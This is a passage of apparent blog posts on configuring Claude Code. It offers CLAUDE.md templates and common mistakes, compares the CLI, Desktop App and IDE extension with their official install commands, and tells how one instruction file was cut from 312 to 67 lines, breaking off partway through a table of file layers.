- Dependencies locked in `pyproject.toml` managed by uv
- Anyone running `uv run python scripts/{name}.py` must get identical output
- Exploration: Jupyter notebooks. Final deliverables: `.py` scripts

Student / Beginner Template

# My Learning Projects

## How I Want to Learn
- Explain what the code does before writing it
- Show me the simplest version first, then add complexity one layer at a time
- When I make a mistake, explain what went wrong and why — do not silently fix it
- Use comments generously in code examples
- If I ask for something beyond my current level, say so and suggest what to learn first

## My Current Stack
- Python 3.12 (learning)
- VS Code
- Git basics (commit, push, pull — I do not know rebase yet)

## Rules
- No advanced patterns I have not learned yet (no decorators, metaclasses, or async until I ask)
- Variable names must be descriptive (`student_name` not `sn`)
- Every function gets a docstring
- Suggest breaking the task into smaller steps when it gets complex

## When I Get Stuck
- Ask me what I think the error means before giving the answer
- Point me to the relevant documentation section
- If I have been stuck for 3 rounds, give me the direct answer with a full explanation

What Do All Six Templates Share?

Every template follows the same order:

Who you are / big picture — Claude understands context first
How you work — workflow, methodology, decision framework
Boundaries embedded in rules — "use uv (no pip/poetry/conda)" packs both the do and the don't into a single line
What to do when stuck — flag uncertainty, stop after N attempts, ask
Delivery standard — what "done" looks like

Constraints sit inside rules rather than in a separate "prohibited" block at the top. A CLAUDE.md that opens with a wall of "never do A, never do B, never do C" signals "this user cares about me not making mistakes" rather than "here is what this project needs." Context first, constraints inline — that matches how Claude processes instructions.

When Should You Switch From One File to a Router Architecture?

Small projects: one CLAUDE.md file handles everything. When rules exceed 200 lines, switch to a router pattern.

Single-File Pattern

project-root/
└── CLAUDE.md     <- identity + workflow + constraints + delivery standards, all here

Works for personal projects, single-stack codebases, rule sets under 200 lines.

Router Pattern

~/.claude/CLAUDE.md                    <- global: identity + cross-project thinking
project-root/
├── CLAUDE.md                          <- project: overview + behavior + routing table
├── .claude/rules/
│   ├── frontend.md                    <- lazy-loaded by path: only when editing frontend files
│   └── backend.md                     <- lazy-loaded by path: only when editing backend files
├── docs/
│   ├── architecture.md                <- referenced by @import
│   └── platform-rules/
│       ├── newsletter.md              <- newsletter-specific rules
│       └── youtube.md                 <- YouTube-specific rules
├── subdir-a/CLAUDE.md                 <- submodule rules (loaded on demand)
└── subdir-b/CLAUDE.md                 <- submodule rules (loaded on demand)

I run a knowledge base with over 100 subdirectories, each with its own CLAUDE.md. The root file is a routing table — trigger words mapped to entry paths. Claude reads the current task, finds the relevant subdirectory, and loads only those rules.

Router Design Rules

Root CLAUDE.md holds three things only: identity, behavioral principles, and a navigation table. No tech specifics.

Use trigger words for routing:

| Trigger | Go read |
|---------|---------|
| frontend, components, pages | src/frontend/CLAUDE.md |
| backend, API, database | src/backend/CLAUDE.md |
| deploy, ops, monitoring | docs/ops.md |

Use @import references instead of copying content:

## Architecture
@docs/architecture.md

## Coding Standards
@docs/coding-standards.md

Referenced files are maintained independently. CLAUDE.md stays an index. Maximum 4 levels of nesting.

Use .claude/rules/ for conditional loading — the strongest router mechanism. Add paths: frontmatter so rules activate only when Claude reads matching files:

# .claude/rules/frontend-components.md
---
paths:
  - "src/components/**/*.tsx"
---

Wrap components with forwardRef.
Props interfaces must be exported.
Style with Tailwind, never inline.

Claude editing backend code never sees these frontend rules.

How Do You Build a CLAUDE.md From Zero in One Week?

Day 1: Start with an empty file. Write three lines.

# [Your Project Name]

Interaction language: English

That is it. Use Claude Code normally. Do not try to write everything at once.

Days 2-4: Every time Claude frustrates you, add one rule.

Claude writes a class component? Add "functional components + hooks only." Claude uses npm? Add "package manager: pnpm (no npm / yarn)." Claude writes a 500-line function? Add "max 30 lines per function."

Every rule has a clear origin — a real mistake, not a hypothetical risk.

End of Week 1: Organize.

You now have 20-40 lines, all battle-tested. Group related rules. Delete rules Claude no longer violates. Check for contradictions.

After One Month: Decide on architecture.

Under 100 lines? Keep the single file. Over 200? Start splitting rules into .claude/rules/ and docs/. CLAUDE.md becomes a routing table.

Ongoing: Compound interest.

Every code review that catches something Claude should have known, every correction you repeat in a new session — that is a signal to add a rule. Every rule that does not improve Claude's behavior — that is a signal to delete or sharpen it.

What Does a Before-and-After Rewrite Look Like?

Before (typical first attempt):

# CLAUDE.md

This is a Next.js project with TypeScript and Tailwind CSS.

Please write clean, maintainable code.
Follow best practices for React development.
Use functional components.
Make sure the code is well-tested.
Don't use any deprecated APIs.
Keep the code DRY.
Write meaningful commit messages.

Seven problems:

"This is a Next.js project" — Claude sees next.config.js and already knows
"Please write clean, maintainable code" — unverifiable, Claude thinks all its code is clean
"Follow best practices" — which ones? Claude's training data contains ten contradictory sets
"Use functional components" — does not say what to avoid, so class components still appear
"Make sure the code is well-tested" — which framework? which command? what is "well-tested"?
"Don't use any deprecated APIs" — too vague to act on
"Write meaningful commit messages" — what does "meaningful" mean?

After:

# [Project Name]

## Stack
- Next.js 15 App Router + React 19 + TypeScript strict (no Pages Router / any / @ts-ignore)
- Styling: Tailwind CSS v4 (no CSS Modules / styled-components / inline style objects)
- State: Zustand (no Redux)
- Package manager: pnpm (no npm / yarn)

## Commands
- `pnpm dev` — development
- `pnpm build` — production build
- `pnpm test` — run tests
- `pnpm typecheck && pnpm lint` — must pass before every commit

## Code Conventions
- Functional components + hooks. Max 200 lines per file
- Props: interface named `{ComponentName}Props`, always exported
- Named exports (exception: page.tsx / layout.tsx)
- Commit messages: state what file changed and why. Never "refactor for better maintainability"

## Gotchas
- `src/lib/auth.ts` session logic looks simplifiable — do not touch. Handles three edge cases; removing any one breaks production
- Migration files are immutable after commit — always create new migrations

Every line is specific and verifiable. "No Redux; use Zustand" beats "follow best practices." The "Gotchas" section — learned from Anthropic's own approach — predicts where Claude will make mistakes and blocks them in advance.

What Are the Six Most Common CLAUDE.md Mistakes?

1. Too long

Past 300 lines, Claude drops rules at random. The context window fills with irrelevant content and useful instructions get buried. Periodically audit: for each rule, ask "if I delete this, will Claude's output actually get worse?" Uncertain? Delete it and observe for a week.

2. Duplicating linter work

Indent width, single vs. double quotes — ESLint, Prettier, and Ruff handle these faster and more reliably than Claude. Writing formatting rules in CLAUDE.md pays AI prices for linter work. Delegate formatting to tools and run them via Hooks.

3. Contradicting rules

One section says "use default export," another says "ban default export." Claude picks one at random. Behavior becomes unpredictable, and you blame Claude for what is actually a config bug. Declare each rule exactly once.

4. Stale content

CLAUDE.md still says "Next.js 13 app directory" when the project runs Next.js 15. Claude writes code against stale information — harder to debug than having no CLAUDE.md at all. Commit CLAUDE.md to Git and review it during dependency upgrades.

5. Untouched /init output

The /init generated CLAUDE.md fits every project, which means it fits none well. Use it as a starting point, then delete every generic line and add project-specific context.

6. Writing documentation instead of rules

Three paragraphs explaining the history of why you chose FastAPI over Flask. Claude does not need your story. It needs "use FastAPI, no Flask." Long explanations go in docs/. CLAUDE.md links to them.

How Do CLAUDE.md, Skills, and Hooks Work Together?

Claude Code has three configuration mechanisms, each handling a different type of instruction:

Mechanism	What it holds	Trigger
CLAUDE.md	Factual rules ("always use 2-space indent")	Loads automatically every session
Skills (`.claude/skills/`)	Multi-step procedures ("5-step production deploy")	Manual trigger (`/skill-name`) or auto-match
Hooks (`.claude/settings.json`)	Deterministic gates ("run Prettier after every file write")	Executes automatically before/after tool calls

CLAUDE.md governs "how you should work." Skills govern "what specific steps to follow." Hooks govern "this happens automatically regardless of what you think."

If Claude keeps forgetting something (like running format after writing code), adding the rule ten more times to CLAUDE.md will not help. Make it a Hook. Hooks are scripts that execute automatically — there is no "ignore" path. CLAUDE.md is a soft constraint. Hooks are hard constraints.

Quick Audit Checklist

Run through this after writing or updating your CLAUDE.md:

[ ] Under 200 lines (official recommendation)
[ ] Only contains info Claude cannot infer from code
[ ] No rules duplicating linter / formatter
[ ] No contradicting rules
[ ] Build, test, and lint commands are complete and accurate
[ ] Architecture decisions include rationale (not just "use X" but "why X")
[ ] Common gotchas are listed
[ ] Committed to Git (project-level)
[ ] Personal preferences live in CLAUDE.local.md (not in Git)
[ ] Frequently changing info is linked, not inlined

Ready-to-Use Prompt: Author a Tight CLAUDE.md for Your Role

What this does: Matches your role to one of six templates, cuts everything Claude can already infer from the codebase, applies Karpathy's four principles, places the file in the right scope tier, and writes it in the Stack / Commands / Conventions / Gotchas structure.

Based on: CLAUDE.md Best Practices: Karpathy's 4 Principles + 6 Ready-to-Use Templates (2026) — https://aiworkflowpro.com/claude-md-best-practices/

Time to run: ~4 minutes

Copy this prompt into Claude Code, ChatGPT, or any AI assistant:

ROLE: You are a CLAUDE.md Author. Your job: write the tightest CLAUDE.md that survives across sessions — role-matched, inference-cut, principle-led, and never boilerplate.

CONTEXT — CLAUDE.md AUTHORING METHOD:
A CLAUDE.md fails in one of two ways — empty, or stuffed with `/init` boilerplate — and both make Claude forget your preferences the moment a new session starts. The fix follows Karpathy's four principles: be skeptical and push back (no sycophancy), be terse (no fluff or hedging), drop filler (no apologies or emoji), and reason maximally before answering. Write only what Claude cannot already infer from reading the codebase — preferences, conventions, and constraints the code does not reveal; everything else is ignored noise. Place the file in the right tier of the four-layer scope system (enterprise → user/root → project/repo → directory), where closer scope overrides farther. Structure the file by role: Stack, Commands, Code Conventions, Gotchas.

INPUTS (fill in before running):
- ROLE: [frontend dev / backend dev / solo founder / content creator / data analyst / student — or "other"]
- PROJECT: [What the project is + the stack]
- SCOPE_TARGET: [user-level / project-level / directory-level]
- CODEBASE_INFERRABLE: [What Claude already learns just by reading the repo]

METHOD — 4 STEPS:

Step 1 — Match to a Role Template
From ROLE, pick the closest of six templates: frontend dev, backend dev, solo founder, content creator, data analyst, student. State the template and the four sections it needs.

Step 2 — Apply the Inference Rule
For each candidate line, ask: can Claude already infer this from CODEBASE_INFERRABLE? If yes, cut it — keep only preferences, conventions, and constraints the code does not reveal.

Step 3 — Apply Karpathy's 4 Principles and Pick the Scope Tier
Ensure the file embodies the four principles: skeptical push-back, terse, no filler, maximal reasoning. Place it in the SCOPE_TARGET tier of the four-layer system; note what belongs at a closer or farther tier instead.

Step 4 — Write the File and Run the Anti-Pattern Check
Produce the CLAUDE.md in the Stack / Commands / Code Conventions / Gotchas structure. Run the anti-pattern check: empty file, `/init` boilerplate, over-writing what Claude already knows, sycophantic tone, emoji/apology filler.

RULES:
- Never keep a line Claude can already infer from the codebase — it is ignored noise.
- Never ship an empty file or `/init` boilerplate — both make Claude forget preferences across sessions.
- Never write a sycophantic, hedging, emoji-filled file — embody Karpathy's four principles instead.

OUTPUT FORMAT:
Output a markdown report with:
1. Role Template — chosen template + its four sections
2. Inference Cut — markdown table, columns: Candidate Line | Inferable? | Keep/Cut
3. Scope Placement — the tier + what to move closer or farther
4. CLAUDE.md File — the file inside a fenced text block + the anti-pattern check verdict

Save as @templates/claude-md-best-practices.md and run when creating or rewriting a CLAUDE.md.

Frequently Asked Questions

How does CLAUDE.md relate to Cursor's .cursorrules?

They are independent. CLAUDE.md is for Claude Code. .cursorrules is for Cursor. Neither tool reads the other's config. If you use both, maintain separate files.

What do I do when Claude ignores my rules?

Three possible causes: the file is too long and the rule got buried (trim to under 200 lines); the rule is too vague for Claude to act on ("write good code" should become "max 30 lines per function"); or the rule is irrelevant to the current task and Claude skipped it (move it to .claude/rules/ with paths: scoping). For hard requirements that must never be skipped, convert to a Hook.

How does a team manage CLAUDE.md?

Project-level CLAUDE.md goes into Git. The team maintains it together. Personal preferences go in CLAUDE.local.md (add to .gitignore). Boris Cherny's team at Anthropic has someone add content weekly — during code review, they use @.claude to have Claude auto-write new rules into CLAUDE.md.

What is the relationship between CLAUDE.md and AGENTS.md?

CLAUDE.md is Claude Code-specific. AGENTS.md serves the same purpose for OpenAI Codex. Many projects symlink them (CLAUDE.md -> AGENTS.md) for cross-tool compatibility.

Does CLAUDE.md support non-English languages?

Fully. CLAUDE.md is a standard Markdown file with no language restriction. Declare your interaction language at the top: "Interaction language: English" or any language you prefer.

The most important step is the one only you can take. Open your project, create an empty CLAUDE.md, and start using Claude Code. Every time it makes a mistake, add one line. After a week, that file will outperform any template — because every rule in it comes from your own experience.

— Leo

Published in: Technology
, Agentic Coding
, Beginner
, Claude Code

Author

Download more icon variants from https://tabler-icons.io/i/brand-youtube

I take real work from real industries and rebuild it with AI agents — the setup, the failures, the numbers.

View articles

Claude Code CLI vs App vs IDE: Which Entry Point Should You Actually Use?

Leo Kane — Wed, 26 Aug 2026 07:51:12 +0000

Originally published on AI Workflow Pro

Claude Code CLI vs App vs IDE: Which Entry Point Should You Actually Use?

Three ways in, one engine behind them - instruction files, settings, skills and connections carry across all three. Never touched a terminal: Desktop App. Live in the shell: CLI. Live in your editor: extension. Why choosing an AI assistant for business makes this fork look bigger.

Copy

Some decisions deserve a meeting and some only look like they do. A property management office spent two weeks deciding which version to roll out to five staff, when the honest answer is that all three are the same engine behind different front doors and switching later costs nothing. Meanwhile the actual work - the lease renewal notices, the vendor invoices - waited. Evaluating an AI assistant for business throws up a lot of these false forks. This article gives the one-line rule for picking an entry point in about a minute, then explains why the choice is cheap to reverse.

Claude Code gives you three ways in: a Terminal CLI, a Desktop App, and an IDE extension. All three connect to the same engine. Your CLAUDE.md files, settings, Skills, and MCP servers carry across every surface. The only difference is the interface — and the interface should match how you already work.

If you want the short answer: never touched a terminal, install the Desktop App. Engineer comfortable in the shell, install the CLI. Living inside VS Code or Cursor eight hours a day, install the extension. You can switch later at zero cost.

The rest of this guide explains why that shortcut works, walks through each entry point in detail, and covers the mistakes that trip up most beginners.

What Are the Three Claude Code Entry Points?

Claude Code is not a single application — it is a single AI engine exposed through three different interfaces. Anthropic's official overview
puts it plainly: each surface connects to the same underlying Claude Code engine.

Here is the one-sentence version of each:

Entry Point	What It Is	Best For
Terminal CLI	A `claude` binary you run in your shell	Engineers, automation, CI/CD pipelines
Desktop App	A standalone macOS/Windows application with a graphical interface	Beginners, product managers, content creators
IDE Extension	A panel inside VS Code, Cursor, or JetBrains	Developers who never want to leave their editor

The web version at claude.ai/code and the mobile app are cloud extensions of the Desktop App — tasks run on Anthropic's servers and keep going after you close your laptop. Useful later, not where you should start.

Why Does Claude Code Have Multiple Entry Points?

People who write code work in fundamentally different environments. A DevOps engineer lives in the terminal. A solo founder building their first product wants buttons and visual diffs. A frontend developer has VS Code open from morning to night.

Forcing everyone through one interface would make the tool worse for most people. Multiple entry points are not a complexity problem — they are a fit problem solved.

The key insight: choosing an entry point is not choosing a capability tier. You are choosing a workspace that matches your existing habits.

How Does the Shared Engine Work in Practice?

This is the single most important fact for anyone comparing entry points. When Anthropic says "shared engine," they mean these items are literally the same files read by every surface:

Shared Item	Location	What It Does
Global settings	`~/.claude/settings.json`	Command permissions, environment variables, hooks, MCP connections
Project memory	`CLAUDE.md` at project root	Project rules, coding style, test commands
Skills	User-level skills directory	Reusable workflows you define once
MCP servers	Settings file	External tool integrations (Google Drive, Jira, Slack)
Session history	Cross-surface	Resume any conversation from any entry point

Three practical consequences follow:

Configure once. Write a CLAUDE.md in your CLI session and it takes effect in the Desktop App and IDE extension immediately.
Switch at zero cost. Run /desktop in CLI to hand a session to the Desktop App. Use claude --teleport to pull a cloud session back to your terminal. Run claude --resume in VS Code to pick up a CLI conversation.
Do not install all three. Most capabilities overlap. Installing everything gives you three dashboards showing the same data — pure overhead for a beginner.

I run Claude Code across four Macs daily. The shared engine means I configured my workflow once and it works everywhere. When I switched from primarily using CLI to adding the Desktop App for visual diffs, every project memory file and MCP connection carried over without touching a single config.

Which Entry Point Should You Pick?

Match yourself to one of three profiles. Pick the first one that fits.

Are You New to the Terminal?

Install the Desktop App. Skip everything else.

The Desktop App was designed for people who have never opened a terminal. Anthropic's own installation docs lead with this: "Prefer a graphical interface? The Desktop app lets you use Claude Code without the terminal."

What you get:

Double-click installer, no runtime setup
Visual diff panel showing every change Claude proposes
Default "ask before every change" mode — nothing lands until you approve
Multi-session sidebar for running parallel tasks

Your first move: download the Desktop App, sign in with a paid subscription, click the Code tab (not Chat, not Cowork), select a familiar project folder, and ask Claude to explain the project structure. That is it. You will see how it reads files and proposes changes before you give it anything risky.

The Desktop App has three tabs that confuse beginners. Chat is a plain conversation — it never touches your files. Cowork runs a cloud agent that works autonomously. Code is the programming assistant that reads and modifies your local files with your approval. This guide is about the Code tab.

Are You an Engineer Comfortable in the Shell?

Install the CLI.

One-line installation, cross-platform:

# macOS / Linux / WSL (recommended)
curl -fsSL https://claude.ai/install.sh | bash

# macOS via Homebrew
brew install --cask claude-code

# Windows PowerShell
irm https://claude.ai/install.ps1 | iex

# Verify
claude --version

Linux users also have signed apt/dnf/apk repositories available.

What you get:

Feature-complete surface — new capabilities land here first
Native automation: claude -p "analyze this log" runs headless, exits when done
Pipe input directly: git diff main | claude -p "review these changes for security issues"
Full slash command set and tab completion

The CLI's default mode asks for approval on every action. Keep it that way for at least two weeks. I have seen engineers disable the safety net on day one, then spend an afternoon reverting changes they did not understand. The approval flow is slow but educational — you learn exactly what Claude reads, what it proposes, and when it executes commands.

# Practical CLI automation examples
# Feed logs and get analysis
tail -200 app.log | claude -p "flag any anomalies and suggest fixes"

# Batch review changed files
git diff main --name-only | claude -p "check these files for security issues"

# Non-interactive one-shot task
claude -p "translate all new copy to French and open a PR"

These headless patterns — run, process, exit — are the CLI's home turf. The Desktop App and IDE extension cannot replicate this cleanly.

Do You Live Inside Your Editor?

Install the IDE extension.

VS Code / Cursor / Windsurf / Kiro: open the extension marketplace (Cmd+Shift+X), search "Claude Code," click install.

JetBrains (IntelliJ / PyCharm / WebStorm): install from the JetBrains plugin marketplace, restart the IDE.

What you get:

Zero context switching — Claude Code lives in a panel beside your code
@filename references pull files into context instantly
Selected code is automatically visible to Claude
Plan mode, inline diffs, checkpoint-based rollback (VS Code)

A fact that saves many beginners a false choice: the VS Code extension installs directly into Cursor. You can run Cursor's real-time autocomplete for line-level suggestions and delegate multi-file refactoring to Claude Code — two AI systems, each handling what it does best, in one window. I have used this combination for months and the two never conflict.

JetBrains support includes diff viewing and selection context sharing. The graphical feature set is slightly smaller than VS Code's, but the shared settings.json means your configuration is identical.

How Do the Three Entry Points Compare Side by Side?

This table covers only differences you can feel — not spec sheets.

What You Notice	CLI	Desktop App	IDE Extension
Requires terminal knowledge	Yes	No	No
Visual diff panel	Text-based	Graphical side-by-side	Inline diffs
Plan mode (review before execution)	Yes	Yes	Yes
Parallel sessions	Manual (multiple terminals)	Sidebar management	Multiple tabs
Automation / scripting	Strongest	Partial	Weak
Stay inside your editor	No	No	Yes
New features arrive first	Yes	Follows	Subset
Live preview of running code	No	Yes	No

Read the row you care about most. The column where it lands is your entry point.

What Should Your First Week Look Like?

Regardless of which entry point you chose, the first-week goal is the same: understand how Claude Code reads files, proposes changes, and executes commands.

Three Habits to Build Immediately

Commit before every task. Claude modifies your files. Without a git checkpoint, rollback means manual reconstruction. Run git commit -m "pre-claude checkpoint" before every new task. This is the cheapest safety net available.
Use Plan Mode for anything non-trivial. Plan Mode makes Claude propose a plan before touching any file. You review, annotate, approve, or reject. Anthropic lists this as the single most important habit for new users.
Keep the default approval mode. Every entry point defaults to asking before each action. Resist the urge to turn it off. Two weeks of watching Claude's proposals will teach you its behavior patterns better than any documentation.

Desktop App First Week

Choose Local environment (not Remote, not SSH) — you want to see changes on your own filesystem
Start with read-only tasks: "Explain this project's structure," "List all TODO comments," "Summarize what this module does"
Graduate to low-risk writes: "Fix this typo in the README," "Add JSDoc comments to this function"

CLI First Week

Run pwd before every claude session — most CLI accidents happen because the user started in the wrong directory
Start with claude (interactive mode) before trying claude -p (headless mode)
Use claude --resume to continue previous conversations instead of restarting context

IDE Extension First Week

Practice @filename references — type @auth and watch it resolve to AuthService.ts
Learn when to ask about the current file vs. when to ask about the whole project
Use the built-in terminal (Ctrl+\) to run claude` directly — the extension and CLI share session history

When Should You Add a Second Entry Point?

Start with one. Add a second only when you hit a specific limitation.

What You Feel After Two Weeks	Add This
"I want to see every change visually and run parallel tasks"	Desktop App
"I want to automate recurring tasks or batch-process files"	CLI
"I hate switching windows while editing code"	IDE Extension

Every additional entry point should have one clear default purpose. Avoid the trap of opening all three and deciding per-task where to start — that burns more time than it saves.

My stable setup after months of daily use: CLI as the automation engine, Desktop App as the visual review station, and Claude Code extension inside Cursor for editor-native work. But I arrived at that combination by starting with CLI alone and adding surfaces only when I hit real friction. The combination is a result, not a starting point.

What Are the Most Common Beginner Mistakes?

Five patterns I see repeatedly:

Mistake 1: Installing All Three on Day One

The shared engine means you get the same AI from every surface. Installing all three gives you three views of the same thing. Start with one. Add others when you have a reason.

Mistake 2: Agonizing Over Which Is "Better"

The Desktop App is not a dumbed-down CLI. The CLI is not an advanced Desktop App. They are different interfaces to identical capabilities. Pick the one that matches your current habits and start building.

Mistake 3: Confusing the Desktop App's Code Tab with Chat

The Desktop App has three tabs: Chat (plain conversation, never touches files), Cowork (autonomous cloud agent), and Code (programming assistant that modifies your local files). If Claude is not reading your project, you are probably in the Chat tab.

Mistake 4: Disabling Approval Mode in Week One

The default "ask before every action" mode feels slow. That slowness is the feature — it forces you to read what Claude proposes before it executes. Keep it on for at least two weeks. You will learn Claude's behavior patterns faster than through any other method.

Mistake 5: Fearing That Switching Entry Points Loses Your Work

CLAUDE.md, settings, Skills, MCP configurations, and session history all persist across entry points. A CLI session can be resumed in the Desktop App. A VS Code conversation can be continued in the terminal. Switching is free. Start anywhere, migrate anytime.

Ready-to-Use Prompt: Pick Your Claude Code Entry Point and Map Your First Week

What this does: Scores the three Claude Code entry points (CLI, Desktop App, IDE extension) against how you already work, picks the single best one to start, maps your first week, and tells you the exact signal that justifies adding a second.

Based on: Claude Code CLI vs App vs IDE: Which Entry Point Should You Actually Use? — https://aiworkflowpro.com/claude-code-cli-app-ide-guide/

Time to run: ~3 minutes

Copy this prompt into Claude Code, ChatGPT, or any AI assistant:

ROLE: You are a Claude Code onboarding advisor. Your job: pick the single entry point (CLI, App, or IDE) that matches how a person already works, and tell them exactly when to add a second.

CONTEXT — ENTRY POINT SELECTOR:
Claude Code has three entry points — Terminal CLI, Desktop App, IDE extension — all running the same engine, so your CLAUDE.md, settings, Skills, and MCP servers carry across every surface. The only real difference is the interface, and the right choice is the one that matches how you already work: shell-comfortable engineers → CLI; people who never touch a terminal → Desktop App; developers living inside VS Code or Cursor → the IDE extension. You can switch later at zero cost, so the goal is the lowest-friction first pick, not a permanent commitment.

INPUTS (fill in before running):
- WORK_STYLE: YOUR_DAILY_FLOW_HERE (where you spend your day — terminal, editor, browser, mix)
- TERMINAL_COMFORT: YOUR_LEVEL_HERE (none / can run a few commands / fluent)
- PRIMARY_EDITOR: YOUR_EDITOR_HERE (VS Code / Cursor / JetBrains / none / other)
- NEEDS_AUTOMATION: YOUR_ANSWER_HERE (do you want to script or schedule runs? yes/no)

METHOD — 6 STEPS:

Step 1 — Score the CLI
Rate the Terminal CLI 0-5 on fit using: terminal comfort (fluent = high), need for automation/scripting (yes = high), and primary workspace (lives in terminal = high). State the score per dimension.

Step 2 — Score the Desktop App
Rate the Desktop App 0-5 on fit using: terminal comfort (none = high fit), onboarding ease (beginner = high), and workspace (non-editor = high). State the score per dimension.

Step 3 — Score the IDE extension
Rate the IDE extension 0-5 on fit using: PRIMARY_EDITOR match (VS Code/Cursor = high), edit-review style (inline diffs = high), and time-in-editor (8h/day = high). State the score per dimension.

Step 4 — Pick one entry point
Sum the dimension scores; pick the single highest. Tie-break by lowest onboarding friction. State the pick and a one-line reason. Because the engine is shared, no capability is lost in the first pick.

Step 5 — Map the first week
For the chosen entry point, give a day-by-day first-week plan: install → connect CLAUDE.md/settings → first real task → add one MCP or Skill. Each day has one concrete action, not a tour.

Step 6 — Set the trigger to add a second entry point
Name the specific signal that justifies a second entry point (e.g., "you now script runs the GUI can't do" → add CLI to App; "you edit inside the editor more than the terminal" → add IDE). Until that signal fires, do not add a second — one surface first.

RULES:
- Pick exactly one entry point to start — never install all three on day one.
- The engine is shared; the choice is interface, not capability — do not optimize for "most powerful."
- Score against how the person already works, not against best-practice ideals.
- Add a second entry point only when a concrete trigger fires, not on curiosity.

OUTPUT FORMAT:
Output five sections:
1. **CLI score** — fit per dimension + total (0-5 scale).
2. **Desktop App score** — fit per dimension + total.
3. **IDE extension score** — fit per dimension + total.
4. **Pick + first week** — the chosen entry point + one-line reason, then a markdown table with columns: Day | Action.
5. **Second-entry-point trigger** — the specific signal that would justify adding a second surface.

Save as @templates/claude-code-cli-app-ide-guide.md and run when you first install Claude Code, then re-run only if your work style changes or a second-entry-point trigger fires.

FAQ

Does Claude Code CLI have more features than the Desktop App?

Yes, but the gap keeps narrowing. CLI gets new features first — headless mode, pipe input, and full slash commands arrived there before other surfaces. The Desktop App counters with visual diff panels, multi-session management, and live preview. Core AI capabilities are identical because both connect to the same engine.

Can I use Claude Code in Cursor alongside Cursor's own AI?

Yes. The VS Code extension installs directly into Cursor (and Windsurf, and Kiro — all VS Code forks). Run Cursor's autocomplete for line-level suggestions and delegate multi-file tasks to Claude Code. The two systems do not conflict.

Do settings and sessions sync across entry points?

Yes. Anthropic states that sessions are not tied to a single surface. CLAUDE.md, settings.json, Skills, and MCP server configs are shared. Use /desktop to hand a CLI session to the Desktop App, claude --teleport to pull a cloud session to your terminal, or claude --resume to continue any conversation.

Is Claude Code free?

No. It requires Pro, Max, Team, or Enterprise subscription — or access through Anthropic Console, Amazon Bedrock, or Google Vertex AI. Check Anthropic's pricing page for current rates.

Does Claude Code work on Windows?

Yes. CLI runs natively on Windows (PowerShell, CMD, WinGet) and inside WSL 2. The Desktop App ships x64 and ARM64 installers. The VS Code extension works identically on Windows and macOS.

One-Line Takeaway

Claude Code's three entry points are three faces of one engine — install the one that matches how you already work, run it for two weeks, then decide if you need another.

— Leo

Published in: Technology
, Agentic Coding
, Beginner
, Claude Code

Author

Download more icon variants from https://tabler-icons.io/i/brand-youtube

I take real work from real industries and rebuild it with AI agents — the setup, the failures, the numbers.

View articles

Claude.md in 67 Lines: What 3 Rewrites Taught Me

Leo Kane — Wed, 26 Aug 2026 07:51:10 +0000

Originally published on AI Workflow Pro

Claude.md in 67 Lines: What 3 Rewrites Taught Me

Deleting 75% of an instruction file made the output better, not worse. That inversion is the whole argument. What each rewrite removed, what the final file still contains, and a starter template for business process automation without writing code.

Copy

Every operations manual has two layers: the rules people actually follow, and the rules that exist so somebody can point at them later. A dental group's front-desk manual runs sixty pages, while the four things that genuinely change how the phone gets answered fit on an index card taped to the monitor. Instruction files behave the same way in business process automation, only worse - every unenforced rule you write pushes a real one out of reach. This article is one file rewritten three times, from 312 lines down to 67, and what was left standing at the end. The lesson travels well beyond the file.

The short version:

My current CLAUDE.md is 67 lines. v1 was 312 lines and barely worked
The fix wasn't writing better rules. It was deleting 75% of them
Full file below, side-by-side v1/v2/v3 comparison, and the six rules that survived the last rewrite
If you're not a programmer: the non-developer CLAUDE.md at the bottom is meant for you

Everyone says CLAUDE.md should encode every rule you want Claude Code to follow. Actually, the best CLAUDE.md is the shortest one that gets the agent to your bar. Rules you wrote and never enforced become noise that pushes the real instructions out of the cache window.

If you already cut your CLAUDE.md below 100 lines, skip ahead to the six rules. If yours is 200 lines and growing, read on through the three rewrites.

My first CLAUDE.md was 312 lines of everything I could think of. Tab width. Naming conventions. A list of things Claude should "prefer." A paragraph of writing style rules. Two paragraphs of things to avoid. Four "important notes" at the bottom in all caps.

Claude ignored about half of it.

I assumed I was writing bad rules. I wrote more rules. The file grew to 380 lines. Claude started ignoring 60% of it.

Then I found a Hacker News comment from Boris on the Claude Code team
that flipped the problem for me:

If there is anything Claude tends to repeatedly get wrong, not understand, or spend lots of tokens on, put it in your CLAUDE.md. I add to my team's CLAUDE.md multiple times a week.

Multiple times a week. Not "write it once perfectly." Not "cover every edge case." The file is supposed to be small enough that you can edit it mid-task.

I rewrote mine from scratch. Cut to 142 lines. Then, a month later, to 67. That's the version Claude actually follows now, and the rest of this post is what got me there.

Who Is This For

You've been using Claude Code for a few weeks and your CLAUDE.md is either empty or bloated
You copied a template off someone's blog and you're not sure why half the lines are in there
You're not a programmer, you're using Claude for writing, research, or a business you run alone
You want a file that feels like yours, not a boilerplate

If you haven't installed Claude Code yet, start with my first-week guide
and come back. If you've already got a working CLAUDE.md and want prompts that make it earn its keep, jump to my prompt-pattern cheat sheet
instead.

If you're deep in the Claude Code weeds already, skip to Six Rules
or The File Itself
.

What CLAUDE.md Actually Is (30 Seconds)

Here is why this matters: every line in CLAUDE.md is paid for on every Claude Code call in this directory. Bloated rule files quietly raise your token bill and slow down the agent on every turn, even when the rules are not relevant.

One-line version: CLAUDE.md is a Markdown file Claude Code reads at the start of every session. It becomes part of the system prompt, the background context Claude uses to answer you. Anthropic's own memory docs
put it plainly: "Give Claude persistent instructions with CLAUDE.md files, and let Claude accumulate learnings automatically with auto memory."

Think of it as the onboarding doc you give a new hire. You don't paste the employee handbook at them. You tell them where their desk is, who their mentor is, and where the coffee is. Everything else is on the shared drive.

A good CLAUDE.md is the same: directions, not documentation.

Where CLAUDE.md Sits in Claude's Memory Stack (2026)

There are three separate memory systems at Anthropic right now. Know which one you're in before you start writing rules:

System	Who it's for	How it works
Chat Memory	Claude.ai web / desktop users	Claude remembers your preferences across chats. Free on all plans since March 2026. Nothing for you to write, it's automatic.
CLAUDE.md + Auto Memory	Claude Code users (this post)	You write CLAUDE.md. Claude writes Auto Memory based on your corrections. Both load at session start.
Memory Tool (API)	Developers building on the Anthropic API	Programmatic memory store for your own agent apps. Out of scope here.

The three aren't replacements for each other, they're parallel tools for different roles. If you use Claude.ai in the browser and Claude Code in the terminal, you'll touch two of them. This post is about the second row.

The Four File Layers Inside CLAUDE.md

Within the Claude Code system, CLAUDE.md actually reads up to four files, layered from broad to specific:

Layer	Location	Written by	Scope
Enterprise	`/Library/Application Support/ClaudeCode/CLAUDE.md` (macOS)	Your employer's admin	Locked across the company
User	`~/.claude/CLAUDE.md`	You	All your projects
